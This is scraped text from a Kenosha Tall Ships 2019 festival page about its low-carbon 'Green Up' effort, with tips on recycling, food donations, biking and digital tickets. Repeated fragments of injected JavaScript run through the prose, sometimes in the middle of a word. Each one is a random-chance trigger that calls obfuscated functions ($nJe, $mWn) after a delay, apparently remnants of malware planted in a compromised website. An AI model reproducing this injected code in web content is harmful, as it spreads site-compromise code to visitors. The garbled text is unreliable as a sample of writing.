Photograph courtesy of: Bill Siel, 2nd District Alderman

Green Up, Kenosha! Saturday, August 3rd is Green Up Day!

Sail Martha's Vineyard
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Kenosha Tall Ships® 2019 is a low-carbon footprint festival.  What does this mean?  It means we want dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to leave the earth as we found it. We are recycling single-use plastic dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and cleaning up the beaches.  Hosting the ships in Kenosha helps us appreciate our fresh water resources dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and encourages us dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be better advocates for fresh water conservation.  Enjoy our wind-powered visidom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors – they can’t sail without water dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and we can’t live without water.  So help us out.  But, don’t just be green for a day – make this your lifestyle.  Festival Tips on how you can help:

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  • Make a Green Food Donation: Bring a can of green vegetables or two with you.  You have already expended the energy. 🌽 🥫🥕🥦 We will deliver all donations dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Shalom Center pantry.
  • Use the Recycle Bins: You will see them around the festival site. And the earth thanks you!
  • Ride your bike: If you live nearby, use our bike racks at Kenosha City Hall at 6th Avenue dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and 54th Street
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  • Save paper: download your tickets dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to your smart phones
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Green Up!  Greening up is all about positive activities for our Earth. How can you help? There are so many things, but here are two: 

  1. Lower your plastics use: There are so many ways you can GreenUp! Here is a quick guide on how you can manage your plastics from Fast Company.
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